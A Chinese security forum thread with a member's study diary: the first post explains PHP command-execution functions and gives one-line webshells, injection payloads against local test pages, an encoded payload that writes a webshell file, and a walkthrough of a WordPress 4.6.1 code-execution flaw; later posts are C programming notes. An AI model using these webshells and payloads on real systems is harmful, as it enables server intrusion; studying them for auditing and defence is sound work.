安全矩阵

 找回密码
 立即注册
搜索
楼主: pukr

陈艺琳的学习日记

[复制链接]

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-3-12 22:35:42 | 显示全部楼层
本帖最后由 pukr 于 2020-3-12 22:46 编辑

2020-03-12
命令执行漏洞
常见危险函数
eval();



把括号内的字符串当成php代码来执行(里面必须是字符串,且必须用双引号)。常见一句话木马:

  1. <?php @eval($_POST[‘pass’]);?>

  2. <?php @eval($_GET[‘pass’]);?>
复制代码

hackbar里或者构造url http://xxx/test0.php?pass=phpinfo();  访问得到phpinfo()界面。


assert();
如果assert内的参数是字符串,那么assert把整个字符串参数当php代码执行,而eval内的参数只能是字符串,而且只把合法的php代码执行.
assert也有一句话木马:
  1. <?php assert($_GET[‘pass’]);?>
复制代码




payload:

  1. http://127.0.0.1:8081/cms/cms/test0.php?pass=phpinfo()
复制代码

可以不用分号

preg_replace();
搜索subject中匹配pattern的部分, replacement进行替换。当使用被弃用的 e 修饰符时, 这个函数会转义一些字符,在完成替换后,引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。
慎用preg_replace危险的/e修饰符(一句话后门常用)
preg_replace函数原型:

  1. mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
复制代码

特别说明:
/e 修正符使 preg_replace() replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
举例:

  1. <?php
  2. preg_replace ("/(</?)(w+)([^>]*>)/e",
  3. "\1.strtoupper(\2).\3",
  4. $html_body);
  5. ?>
复制代码

这将使输入字符串中的所有 HTML 标记变成大写。

安全威胁分析:
通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如:

  1. <?php echo preg_replace("/test/e",$_GET["h"],"jutst test");?>
复制代码

如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。
如果我们提交下面的代码会怎么样呢?
  1. ?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
  2. chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
  3. chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
  4. chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
复制代码

密文对应的明文是:
  1. fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);
复制代码

执行的结果是在/data/目录下生成一个一句话木马文件 a.php
再来一个有难度的例子:

  1. <?php
  2. function test($str)
  3. {
  4. }
  5. echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]);
  6. ?>
复制代码
提交 ?h=[php]phpinfo()[/php]phpinfo()会被执行吗?肯定不会。因为经过正则匹配后, replacement 参数变为'test("phpinfo")',此时phpinfo仅是被当做一个字符串参数了。
有没有办法让它执行呢?当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php]phpinfo()就会被执行。因为在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。注意:双引号中的函数不会被执行和替换,而是被解释执行。通过{${}}构造出一个特殊的变量,'test("{${phpinfo()}}")',达到让函数被执行的效果(${phpinfo()}会被解释执行)。如何防范这种漏洞呢?将'test("\1")'修改为"test('\1')",这样‘${phpinfo()}'就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。
call_user_func();
call_user_func把第一个参数作为回调函数调用
说明:
call_user_func ( callable $callback [,mixed $parameter [, mixed $... ]] ) : mixed
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
参数:
callback:将被调用的回调函数(callable)。
parameter0个或以上的参数,被传入回调函数。
请注意,传入call_user_func()的参数不能为引用传递。
一句话:
  1. <?php call_user_func($_GET[‘func’],$_GET[‘param’]);?>
  2. payload:
  3. http://127.0.0.1:8081/cms/cms/test0.php?func=assert&param=${phpinfo()}
复制代码



call_user_func_array();
call_user_func_array 调用回调函数,并把一个数组参数作为回调函数的参数
call_user_func_array (callable $callback , array $param_arr ) : mixed
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。


  1. 一句话:
  2. <?php call_user_func_array($_GET[‘func’],$_GET[‘param’]);?>
  3. payload:
  4. http://127.0.0.1:8081/cms/cms/test0.php?func=assert&param[]=${phpinfo()}
复制代码




create_function();
适用范围:PHP 4> = 4.0.1PHP 5PHP 7
功能:根据传递的参数创建匿名函数,并为其返回唯一名称。
语法:
create_function(string$args,string $code)
string $args 声明的函数变量部分
string $code 执行的方法代码部分
官方案例:


  1. <?php
  2. $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
  3. echo "New anonymous function: $newfunc\n";
  4. echo $newfunc(2, M_E) . "\n";
  5. ?>
复制代码


分析:
create_function()会创建一个匿名函数(lambda样式)。此处创建了一个叫lambda_1的函数,在第一个echo中显示出名字,并在第二个echo语句中执行了此函数。
create_function()函数会在内部执行 eval(),我们发现是执行了后面的return语句,属于create_function()中的第二个参数string $code位置。
因此,上述匿名函数的创建与执行过程等价于:
  1. <?php
  2. function lambda_1($a,$b){
  3.     return "ln($a) + ln($b) = " . log($a * $b);
  4. }
  5. ?>
复制代码
create_function()函数在代码审计中,主要用来查找项目中的代码注入和回调后门的情况,熟悉了执行流程,我们可以熟练的实现对代码注入的payload构造,从而进行漏洞挖掘和找出存在的缺陷。
注入案例:
案例一
  1. <?php
  2. error_reporting(0);
  3. $sort_by = $_GET['sort_by'];
  4. $sorter = 'strnatcasecmp';
  5. $databases=array('1234','4321');
  6. $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
  7. usort($databases, create_function('$a, $b', $sort_function));
  8. ?>
复制代码

  1. payload:
  2. http://127.0.0.1:8081/cms/cms/test0.php?sort_by=%27%22]);}phpinfo();//
  3. http://127.0.0.1:8081/cms/cms/test0.php?sort_by=%27%22]);}system(%22whoami%22);//
复制代码





  1. 还原实际的组合过程:
  2. $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();//
  3. 匿名函数实际的执行:
  4. function niming($a,$b){
  5. return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();//
  6. }
  7. 回车换行整理一下:
  8. function niming($a,$b){
  9. return 1 * ' . $sorter . '($a["' . $sort_by '"]);
  10. }
  11. phpinfo();//
  12. }
复制代码


案例二


  1. <?php
  2. $c=$_GET['c'];
  3. $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));");
  4. $array=array('reall long string here,boy','this','midding lenth','larget');
  5. usort($array,$lambda);
  6. print_r($array);
  7. ?>
复制代码

  1. payload:http://127.0.0.1:8081/cms/cms/test0.php?c=1));}phpinfo();//
复制代码




  1. 还原实际的组合过程:

  2. $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");
  3. 匿名函数实际的执行:

  4. function ft($a,$b){
  5.     return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));
  6. }
  7. 回车换行整理一下:

  8. function ft($a,$b){
  9.     return (strlen($a)-strlen($b)+" . "strlen(1));
  10.     }
  11.     phpinfo();
  12.     /*));
  13. }
  14. 一句话:<?php $func=create_function(‘’,$_POST[‘cmd’]);$func();?>
复制代码




实战:
WordPress <= 4.6.1 使用语言文件任意代码执行漏洞
接下来我们看这个版本的WordPress中,一处用到create_function的地方,在wp-includes/pomo/translations.php203-209行:


  1. /**
  2. * Makes a function, which will return the right translation index, according to the
  3. * plural forms header
  4. * @param int    $nplurals
  5. * @param string $expression
  6. */
  7. function make_plural_form_function($nplurals, $expression) {
  8.     $expression = str_replace('n', '$n', $expression);
  9.     $func_body = "
  10.         \$index = (int)($expression);
  11.         return (\$index < $nplurals)? \$index : $nplurals - 1;";
  12.     return create_function('$n', $func_body);
  13. }
复制代码




Plural-Froms这个header就是上面的函数所需要处理的,其中nplurals的值即为$nplurals的值,而plural的值正是我们需要的$expression的值。所以我们将字体文件进行如下改动:





我们payload中的)首先闭合了前面的(,然后;结束前面的语句,接着是我们的一句话木马,然后用/*将后面不必要的部分注释掉,通过这样,我们就将payload完整的传入了create_function,在其创建函数时我们的payload就会被执行,由于访问每个文件时都要用这个对字体文件解析的结果对文件进行翻译,所以我们访问任何文件都可以触发这个payload



防范:添加过滤

  1. $not_allowed = array(";", ")", "}");
  2. $experssion = str_replace($not_allowed, "", $expression);
复制代码

array_map();
(PHP 4 >= 4.0.6, PHP 5, PHP 7)      
array_map 为数组的每个元素应用回调函数
array_map ( callable $callback , array$array1 [, array $... ] ) : array
array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。
callback:回调函数,应用到每个数组里的每个元素。
array1:数组,遍历运行 callback 函数。
...:数组列表,每个都遍历运行 callback 函数。
返回数组,包含 callback 函数处理之后 array1 的所有元素。

  1. <?php
  2. $array = array(0,1,2,3,4,5);
  3. array_map($_GET['param'],$array);
  4. ?>
复制代码

  1. payload:
  2. http://127.0.0.1:8081/cms/cms/test0.php?param=phpinfo
复制代码
没有括号和分号

案例二

  1. <?php
  2. array_map($_GET[‘a’], $_GET[‘b’]);
  3. ?>
复制代码


  1. payload:
  2. http://127.0.0.1:8081/cms/cms/test0.php?a=system&b[]=whoami
复制代码




  1. payload:
  2. http://127.0.0.1:8081/cms/cms/test0.php?a=assert&b[]=phpinfo()
复制代码





system();
执行外部程序,并显示输出
system函数将括号内的字符串当作bash语句执行。
system ( string $command [, int &$return_var ])
$return_var  命令执行后的返回状态,值是0表示成功
$last_line = system('ls', $retval);




区别:
system() 输出并返回最后一行shell结果。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
相同点:都可以获得命令执行的状态码
passthru();
passthru — 执行外部程序并且显示原始输出。
passthru ( string $command [, int &$return_var ])


exec();
exec — 执行一个外部程序
exec ( string $command [, array &$output [, int &$return_var ]])
把结果保存在$output数组中,输出$output会显示结果。  



反单引号
php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出,使用反引号运算符“`”的效果与函数 shell_exec() 相同。




pcntl_exec();
pcntl_exec 在当前进程空间执行指定程序
pcntl_exec ( string$path [, array $args [, array $envs ]] ) : void以给定参数执行程序。
pathpath必须时可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perlperl脚本)。
argsargs是一个要传递给程序的参数的字符串数组。
envsenvs是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。

  1. <?php
  2.         pcntl_exec ( "/bin/bash" , array("whoami"));
  3. ?>
复制代码



shell_exec();
shell_exec 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
exec();的区别:
shell_exec将所有输出流作为字符串返回。exec默认情况下返回输出的最后一行,但可以将所有输出提供为指定为第二个参数的数组。
shell_exec- 通过shell执行命令并将完整输出作为字符串返回
exec - 执行外部程序。
不同之处在于,shell_exec将输出作为返回值。
使用exec()可以传递一个可选的param变量,该变量将接收一组输出行。在某些情况下,这可能会节省时间,尤其是在命令输出已经是表格的情况下。
相反,如果命令的输出是xmljson,那么将每一行作为数组的一部分并不是你想要的,因为你需要将输入后处理成其他形式,所以在这种情况下使用shell_exec
popen();
功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。
popen 打开进程文件指针
popen ( string$command , string $mode ) : resource
打开一个指向进程的管道,该进程由派生给定的command 命令执行而产生。
command:命令。
mode:模式。
返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets()fgetss() fwrite() 当模式为 'r',返回的文件指针等于命令的 STDOUT,当模式为 'w',返回的文件指针等于命令的 STDIN


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-3-16 22:41:15 | 显示全部楼层
2020-03-16

C语言笔记(二)——函数与程序结构
2020-03-16 |  基础训练

关于函数的一点收获。主要是代码方面,思维真的很重要。
引入
输出包含特定模式或字符串的行
这个程序分为三部分,记录行的函数、匹配函数、主函数。
  1. #include<stdio.h>
  2. #define MAXLINE 1000

  3. int getline(char line[],int max);
  4. int strindex(char source[],char searchfor[]);

  5. char pattern[]="ould";

  6. main(){
  7.         char line[MAXLINE];
  8.         int found=0;

  9.         while(getline(line,MAXLINE)>0)
  10.                 if(strindex(line,pattern) >= 0)
  11.                 {
  12.                         printf("%s",line);
  13.                         found++;               
  14.                 }
  15.                 return found;

  16. }

  17. int getline(char s[],int lim)
  18. {
  19.         int c,i;
  20.         i=0;
  21.         while(--lim>0 && (c=getchar()) != EOF && c!='\n')
  22.         {
  23.                 s[i++]=c;
  24.                 if(c=='\n')
  25.                         s[i++] =c;
  26.                 s[i]='\0';
  27.         }        
  28.         return i;
  29. }

  30. int strindex(char s[],char t[])
  31. {
  32.         int i,j,k;

  33.         for (i=0;s[i] != '\0';i++)
  34.         {
  35.                 for(j=i,k=0;t[k]!='\0' && s[j]==t[k];j++,k++)
  36.                         ;   //注意这个空语句,若t[k]!='\0' && s[j]==t[k]表达式为假则终止循环,否则什么也不做只自增j,k。k没有自增到最后一位的话,t[k]就不是'\0',就不符合匹配。下面还有一个类似的例子
  37.                 if(k>0 && t[k] == '\0')
  38.                         return i;        
  39.         }
  40.         return -1;
  41. }
复制代码

函数定义中各构成部分都可以省略,最简单的函数形式:
  1. dummy() {}
复制代码

该函数不执行任何操作也不返回任何值。这种函数有时候很有用,它可以在程序开发期间保留位置,待以后填充代码。若函数定义中省略了返回值类型,则默认使用int
返回值非整型值的函数
每个程序都能获得新奇的体验.jpg
复杂版本atof函数

  1. #include<ctype.h>

  2. double atof(char s[]){
  3.         double val,power;
  4.         int i,sign;
  5.         
  6.         for(i=0;isspace(s[i]);i++)
  7.                 ;     //跳过空白字符。如果isspace(s[i])表达式真,则自增,直到不是空白字符跳出来
  8.         sign = (s[i] == '-' ? -1 : 1);
  9.         if(s[i] == '+' || s[i] == '-')
  10.                 i++;
  11.         for(val=0.0;isdigit(s[i]);i++)
  12.                 val = 10.0 * val + (s[i] - '0');
  13.         if(s[i] == '.')
  14.                 i++;
  15.         for(power=1.0;isdigit(s[i]);i++)
  16.         {
  17.                 val = 10.0 * val + (s[i] - '0');
  18.                 power*=10.0;
  19.         }
  20.         return sign*val/power
  21. }
复制代码

函数atof的声明与定义必须一致。如果atof函数与调用它的主函数放在同一源文件中,并且类型不一致,编译器就会检测到错误。但如果atof该函数时单独编译的(这种可能性更大),这种错误就不会被检测出来,atof函数返回double类型,main函数返回int类型,结果没有意义。
外部变量
逆波兰表示法:
在逆波兰表示法中,所有运算符都跟在操作数的后面。如下列中缀表达式

  1. (1-2)*(4+5)
复制代码

采用逆波兰表示法为

  1. 1 2 - 4 5 + *
复制代码

逆波兰表示法不需要圆括号,只要知道每个运算符需要几个操作数就不会引起歧义。
采用逆波兰表示法实现一个简易计算器。计算器程序很简单,每个操作数被依次压栈,当一个运算符到达时,从栈中弹出相应数目的运算数,再把运算结果压栈。
例如对上面的逆波兰表达式,首先把1和2压栈,再用两者之差-1取代他们;然后4和5压栈,再用两者之和9取代他们;最后从栈顶取出-1和9,并把乘积-9压入栈顶,最后把栈顶的值弹出栈。
栈的压入与弹出比较简单,但是如果把错误检测与恢复操作都加进来就显得程序很长了。所以设计成独立的函数。
另外一个关键的问题:把栈放在哪里?也就是说,哪些例程可以直接访问他?一种可能是把他放在主函数main里,把栈及其当前位置作为参数传递给对他进行压栈、弹出操作的函数。但是main函数不需要了解控制栈的变量信息,他只进行压栈和弹出操作。因此,可把栈及其相关信息放在外部变量中,并只提供push和pop函数访问,而不能被main函数访问。
  1. #include <stdio.h>
  2. #include <stdlib.h>

  3. #define MAXOP 100
  4. #define NUMBER '0'

  5. int getop(char []);
  6. void push(double);
  7. double pop(void);

  8. main(){
  9.         int type;
  10.         double op2;
  11.         char s[MAXOP];
  12.         
  13.         while((type=getop(s)) != EOF)
  14.         {
  15.                 switch(type)
  16.                 {
  17.                         case NUMBER:
  18.                                 push(stof(s));
  19.                                 break;
  20.                         case '+':
  21.                                 push(pop() + pop());
  22.                                 break;
  23.                         case '*':
  24.                                 push(pop() * pop());
  25.                                 break;
  26.                         case '-':
  27.                                 op2=pop();
  28.                                 push(pop() - op2);
  29.                         case '/':
  30.                                 op2=pop();
  31.                                 if (op2 != 0.0)
  32.                                         push(pop() / op2);
  33.                                 else
  34.                                         printf("error: zero divisor\n");
  35.                                 break;
  36.                         case '\n':
  37.                                 printf("\t.8g\n",pop());
  38.                                 break;
  39.                         default:
  40.                                 printf("error: unknown command\n");
  41.                                 break;
  42.                 }
  43.         }
  44.         return 0;
  45. }
复制代码

剩余部分明天继续。


回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-3-18 00:33:14 | 显示全部楼层
2020-03-17
接昨天


+与* 满足交换律,所以操作数的次序无关紧要。但是-与/的左右两个操作数必须区分。


所以

  1. push(pop() - pop());
复制代码
是错误的,需要把第一个操作数弹出到一个临时变量中。
现在来看push和pop的函数。
  1. #define MAXVAL 100    /* 栈val的最大深度 */
  2. int sp = 0;           /* 下一个空闲栈位置 */
  3. double val[MAXVAL];   /* 值栈 */

  4. /* push函数:把f压栈 */
  5. void push(double f)
  6. {
  7.         if(sp < MAXVAL)
  8.                 val[sp++] = f;
  9.         else
  10.                 printf("error: stack full, can't push %g\n",f);       
  11. }

  12. /* pop函数:弹出并返回栈顶的值 */
  13. double pop(void)
  14. {
  15.         if(sp > 0)
  16.                 return val[--sp];
  17.         else{
  18.                 printf("error: stack empty\n");
  19.                 return 0.0;
  20.         }
  21. }
复制代码
把push和pop共享的栈和栈顶指针定义在函数外部。而main函数并没有引用栈和栈顶指针,于是对于main函数要隐藏起来。
下面是getop函数的实现,这个函数用于获取下一个运算符或者操作数。跳过空格和制表符,如果下一个字符不是数字或小数点则返回,否则把这些数字字符串收集起来,并返回NUMBER。
  1. #include<ctype.h>

  2. int getch(void);
  3. void ungetch(int);

  4. int getop(char s[])
  5. {
  6.         int i,c;
  7.        
  8.         while((s[0] = c = getch()) == ' ' || c == '\t')
  9.                 ;
  10.         s[1] = '\0';
  11.         if(!isdigit(c) && c != '.')
  12.                 return c;
  13.         i=0;
  14.         if(isdigit(c))
  15.                 while(isdigit(s[++i] = c = getch()))
  16.                         ;
  17.         if(c == '.')
  18.                 while(isdigit(s[++i] = c = getch()))
  19.                         ;
  20.         s[i] = '\0';
  21.         if(c != EOF)
  22.                 ungetch(c);
  23.         return NUMBER;
  24. }
复制代码
接下来是getch和ungetch函数。
在读取输入的时候,有时并不能确定读入数字的完整性,除非超前读入一个字符。而超前读入的话就会导致最后有一个不属于当前要读入的数。这需要通过“反读”解决。把多读入的字符压回到输入中。
两个函数协同工作,ungetch函数把要压回的函数放到一个共享缓冲区(字符数组)中,当该缓冲区不空时,getch就从缓冲区中读取字符;当缓冲区为空时,getch调用getchar读取输入。还需要增加一个下表变量来记住缓冲区中当前字符的位置。缓冲区和下标变量是共享的外部变量。
  1. #define BUFSIZE 100

  2. char buf[BUFSIZE];
  3. int bufp=0;

  4. int getch(void)
  5. {
  6.         return (bufp > 0) ? buf[--bufp] : getchar();       
  7. }

  8. void ungetch(int c)
  9. {
  10.         if(bufp >= BUFSIZE)
  11.                 printf("ungetch: too many characters\n");
  12.         else
  13.                 buf[bufp++] = c;
  14.        
  15. }
复制代码
(妙啊!)
作用域规则
名字的作用域指程序中可以使用该名字的部分。对于在函数开头声明的自动变量来说,其作用域就是声明该变量的函数。不同函数中声明的具有相同名字的各个局部变量间没有联系,函数参数也是这样。
外部变量或函数的作用域从声明他的地方开始,到其所在的待编译的文件末尾结束。例如某文件的排列方式如下:

  1. main(){...}

  2. int sp = 0;
  3. double val[MAXVAL];

  4. void push(double f) {...}
  5. dpuble pop(void) {...}
复制代码
其中,Push和pop函数可直接使用外部变量sp和val,但是sp、val、push、pop都不可以出现在main函数中。
如果要在外部变量的定义之前使用这个变量,或者外部变量的定义与变量的使用不在同一个源文件中,则使用extern关键字。
我们知道,程序的编译单位是源程序文件,一个源文件可以包含一个或若干个函数。在函数内定义的变量是局部变量,而在函数之外定义的变量则称为外部变量,外部变量也就是我们所讲的全局变量。它的存储方式为静态存储,其生存周期为整个程序的生存周期。全局变量可以为本文件中的其他函数所共用,它的有效范围为从定义变量的位置开始到本源文件结束。
然而,如果全局变量不在文件的开头定义,有效的作用范围将只限于其定义处到文件结束。如果在定义点之前的函数想引用该全局变量,则应该在引用之前用关键字 extern 对该变量作“外部变量声明”,表示该变量是一个已经定义的外部变量。有了此声明,就可以从“声明”处起,合法地使用该外部变量。
来看一个简单的例子:
  1. #include <stdio.h>
  2. int max(int x,int y);
  3. int main(void)
  4. {
  5.     int result;
  6.     /*外部变量声明*/
  7.     extern int g_X;
  8.     extern int g_Y;
  9.     result = max(g_X,g_Y);
  10.     printf("the max value is %d\n",result);
  11.     return 0;
  12. }
  13. /*定义两个全局变量*/
  14. int g_X = 10;
  15. int g_Y = 20;
  16. int max(int x, int y)
  17. {
  18.     return (x>y ? x : y);
  19. }
复制代码
代码中,全局变量 g_X 与 g_Y 是在 main 函数之后声明的,因此它的作用范围不在 main 函数中。如果我们需要在 main 函数中调用它们,就必须使用 extern 来对变量 g_X 与 g_Y 作“外部变量声明”,以扩展全局变量的作用域。也就是说,如果在变量定义之前要使用该变量,则应在使用之前加 extern 声明变量,使作用域扩展到从声明开始到本文件结束。
如果整个工程由多个源文件组成,在一个源文件中想引用另外一个源文件中已经定义的外部变量,同样只需在引用变量的文件中用 extern 关键字加以声明即可。下面就来看一个多文件的示例:
  1. /****max.c****/
  2. #include <stdio.h>
  3. /*外部变量声明*/
  4. extern int g_X ;
  5. extern int g_Y ;
  6. int max()
  7. {
  8.     return (g_X > g_Y ? g_X : g_Y);
  9. }
  10. /***main.c****/
  11. #include <stdio.h>
  12. /*定义两个全局变量*/
  13. int g_X=10;
  14. int g_Y=20;
  15. int max();
  16. int main(void)
  17. {
  18.     int result;
  19.     result = max();
  20.     printf("the max value is %d\n",result);
  21.     return 0;
  22. }
复制代码
运行结果为:
the max value is 20
对于多个文件的工程,都可以采用上面这种方法来操作。对于模块化的程序文件,可在其文件中预先留好外部变量的接口,也就是只采用 extern 声明变量,而不定义变量,max.c 文件中的 g_X 与 g_Y 就是如此操作的。
通常,这些外部变量的接口都是在模块程序的头文件中声明的,当需要使用该模块时,只需要在使用时具体定义一下这些外部变量即可。main.c 里的 g_X 与 g_Y 则是相关示例。
不过,需要特别注意的是,由于用 extern 引用外部变量,可以在引用的模块内修改其变量的值,因此,如果有多个文件同时要对应用的变量进行操作,而且可能会修改该变量,那就会影响其他模块的使用。因此,我们要慎重使用。
头文件
各个函数分布在不同的源文件中,共享的部分放在一个文件里。大的工程需要更多的文件来存放共享的变量,需要精心组织。
  1. calc.h


  2. #define NUMBER '0'
  3. void push(double);
  4. double pop(void);
  5. int getop(char []);
  6. int getch(void);
  7. void ungetch(int);
复制代码
  1. mian.c


  2. #include<stdio.h>
  3. #include<stdlib.h>
  4. #include "calc.h"
  5. #define MAXOP 100
  6. mian(){        ...}
复制代码
  1. getop.c



  2. #include<stdio.h>
  3. #include<ctype.h>
  4. #include "calc.h"

  5. getop(){...}
复制代码
  1. stack.c



  2. #include<stdio.h>
  3. #include "calc.h"
  4. #define MAXVAL 100
  5. int sp = 0;
  6. double val[MAXVAL];

  7. void push(double){...}

  8. double pop(void){...}
复制代码
  1. getch.c




  2. #include<stdio.h>
  3. #define BUFSIZE 100

  4. char buf[BUFSIZE];
  5. int bufp = 0;

  6. int getch(void){...}

  7. void ungetch(int){...}
复制代码
静态变量
用static声明限定外部变量与函数,可以将其后声明的对象的作用域限定为被编译源文件的剩余部分。
static也可以作用于内部变量。与局部变量的区别就是static在内部会一直占据存储空间,而不会随着函数的退出而消失。
如使用一个static变量修改getop函数,就可以不用ungetch函数了。

  1. #include <stdio.h>
  2. #include <ctype.h>

  3. #define NUMBER '0'

  4. int getch(void);

  5. int getch(char s[])
  6. {
  7.         int c,i;
  8.         static int lastc = 0;
  9.         if(lastc == 0)
  10.                 c = getch();
  11.         else{
  12.                 c = lastc;
  13.                 lastc=0;
  14.         }
  15.         while((s[0] = c) == ' ' || c == '\t')
  16.                 c=getch();
  17.         s[1] = '\0';
  18.         if(!isdigit(c) && c != '.')
  19.                 return c;
  20.         i=0;
  21.         if(isdigit(c))
  22.                 while(isdigit(s[++i] = c = getch()))
  23.                         ;
  24.         if(c == '.')
  25.                 while(isdigit(s[++i] = c = getch()))
  26.                         ;
  27.         s[i] = '\0';
  28.         if(c != EOF)
  29.                 lastc = c;
  30.         return NUMBER;
  31. }
复制代码

寄存器变量

  1. register int i;
复制代码
register变量只适用于自动变量与函数形参

  1. func1(register unsigned m, register long n){
  2.         register int i;
  3.         ...
  4. }
复制代码
底层硬件环境可能会对寄存器变量的使用进行限制。
无论寄存器变量是否存储在寄存器中,他的地址都是不能访问的。不同的机器中,对于寄存器变量的数码母和具体限制也是不同的。
程序块结构
变量的声明除了紧跟函数开始的花括号之后,还可以紧跟任何其他复合语句开始的左花括号之后。以这种方式声明的变量可以隐藏程序块外与之同名的变量,他们之间没有任何关系。在与左花括号匹配的右花括号出现之前一直存在。
如:
  1. if(n>0)
  2. {
  3.         int i;
  4.         for(i=0;i<n;i++)
  5.                 ...
  6. }
复制代码

  1. int x;
  2. int y;

  3. func(double x)
  4. {
  5.         double y;
  6.         ...
  7. }
复制代码


尽量避免。。。
初始化
外部变量与静态变量:初始化表达式必须是常量表达式,且只初始化一次(概念上说是程序开始前进行变量的初始化)。
自动变量与寄存器变量:每次函数/程序块执行前都会进行初始化。
递归
经典递归练习:数字转字符串输出。遇到的问题是数字是以反序生成的,低位数字先于高位数字生成,需要以反序输出。
首先输出高位数字,然后递归输出低位数字。弊端是不能处理最大的负数。

  1. #include<stdio.h>

  2. void printd(int n){
  3.         if(n < 0){
  4.                 putchar('-');
  5.                 n=-n;
  6.         }
  7.         if(n/10)
  8.                 printd(n/10);
  9.         putchar(n%10+'0');
  10. }
复制代码


假设n=123,他把12传入第二次递归,然后把1传入第三次递归调用。第三次调用printd时首先输出1,然后返回到第二次调用输出2,然后返回第一次调用输出3,同时结束程序。
先/10再%10是经典方法。
站在汇编角度是这样的:

  1. 0040D718  |.  837D 08 00         cmp     dword ptr [ebp+8], 0
  2. 0040D71C  |. /7D 56              jge     short 0040D774         //跳转到n/10部分
  3. 0040D71E  |. |A1 644A4200        mov     eax, dword ptr [424A64]
  4. 0040D723  |. |83E8 01            sub     eax, 1
  5. 0040D726  |. |A3 644A4200        mov     dword ptr [424A64], eax
  6. 0040D72B  |. |833D 644A4200 00   cmp     dword ptr [424A64], 0
  7. 0040D732  |. |7C 26              jl      short 0040D75A
  8. 0040D734  |. |8B0D 604A4200      mov     ecx, dword ptr [424A60]
  9. 0040D73A  |. |C601 2D            mov     byte ptr [ecx], 2D
  10. 0040D73D  |. |BA 2D000000        mov     edx, 2D
  11. 0040D742  |. |81E2 FF000000      and     edx, 0FF
  12. 0040D748  |. |8955 FC            mov     dword ptr [ebp-4], edx
  13. 0040D74B  |. |A1 604A4200        mov     eax, dword ptr [424A60]
  14. 0040D750  |. |83C0 01            add     eax, 1
  15. 0040D753  |. |A3 604A4200        mov     dword ptr [424A60], eax
  16. 0040D758  |. |EB 12              jmp     short 0040D76C
  17. 0040D75A  |> |68 604A4200        push    00424A60
  18. 0040D75F  |. |6A 2D              push    2D
  19. 0040D761  |. |E8 8A91FFFF        call    _flsbuf
  20. 0040D766  |. |83C4 08            add     esp, 8
  21. 0040D769  |. |8945 FC            mov     dword ptr [ebp-4], eax
  22. 0040D76C  |> |8B4D 08            mov     ecx, dword ptr [ebp+8]
  23. 0040D76F  |. |F7D9               neg     ecx
  24. 0040D771  |. |894D 08            mov     dword ptr [ebp+8], ecx
  25. 0040D774  |> \8B45 08            mov     eax, dword ptr [ebp+8]
  26. 0040D777  |.  99                 cdq
  27. 0040D778  |.  B9 0A000000        mov     ecx, 0A
  28. 0040D77D  |.  F7F9               idiv    ecx
  29. 0040D77F  |.  85C0               test    eax, eax
  30. 0040D781  |.  74 14              je      short 0040D797
  31. 0040D783  |.  8B45 08            mov     eax, dword ptr [ebp+8]
  32. 0040D786  |.  99                 cdq
  33. 0040D787  |.  B9 0A000000        mov     ecx, 0A
  34. 0040D78C  |.  F7F9               idiv    ecx
  35. 0040D78E  |.  50                 push    eax
  36. 0040D78F  |.  E8 7638FFFF        call    0040100A
  37. 0040D794  |.  83C4 04            add     esp, 4
  38. 0040D797  |>  8B15 644A4200      mov     edx, dword ptr [424A64]
  39. 0040D79D  |.  83EA 01            sub     edx, 1
  40. 0040D7A0  |.  8915 644A4200      mov     dword ptr [424A64], edx
